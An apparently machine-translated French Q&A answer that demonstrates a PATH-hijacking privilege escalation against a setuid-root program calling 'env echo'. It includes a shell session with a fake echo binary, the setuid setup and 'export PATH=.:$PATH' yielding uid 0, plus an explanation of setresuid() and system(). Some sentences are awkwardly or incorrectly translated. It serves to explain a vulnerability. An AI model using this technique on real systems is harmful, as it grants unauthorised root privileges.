Réponse
Trop de publicités?Vous pouvez remplacer l' PATH
variable pour pointer vers un répertoire avec votre version personnalisée d' echo
et depuis echo
est exécuté à l'aide d' env
, elle n'est pas traitée comme un construit-dans.
Cela constitue une vulnérabilité seulement si le code est exécuté en tant qu'utilisateur privilégié.
Dans l'exemple ci-dessous le fichier de c. c contient le code à partir de la question.
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
Notez que le paramètre de l'identificateur d'utilisateur réel, efficace et ID utilisateur enregistré set-user-ID par un appel à l' setresuid()
avant l'appel à l' system()
dans le code vulnérable publié dans la question permet d'exploiter la vulnérabilité de même lors de l'uid effectif est défini pour un utilisateur privilégié ID réel de l'utilisateur ID reste non privilégié (comme c'est par exemple le cas quand on s'appuie sur set-user-ID bits sur un fichier comme ci-dessus). Sans l'appel à setresuid()
de shell à exécuter par system()
serait réinitialiser l'uid effectif du dos de l'utilisateur réel de l'ID de faire de l'exploit inefficace. Toutefois, dans le cas où l'vulnérables code est exécuté avec le real ID d'utilisateur d'un utilisateur privilégié, system()
appel à lui seul est suffisant. Citant sh
page de man:
Si le shell est lancé avec l'utilisateur (le groupe) id n'est pas égale à l'utilisateur réel (groupe) id, et l'option-p n'est pas fournie, pas les fichiers de démarrage sont lire, shell fonctions ne sont pas héritées de l'environnement, la SHELLOPTS variable, si elle apparaît dans l'environnement, est ignoré, et l'efficacité de l'utilisateur id correspond à l'identificateur d'utilisateur réel. Si l'option-p est fournie à l'invocation, le démarrage le comportement est le même, mais l'uid effectif n'est pas réinitialisé.
Notez également que, setresuid()
n'est pas portable, mais setuid()
ou setreuid()
peut également être utilisé pour le même effet.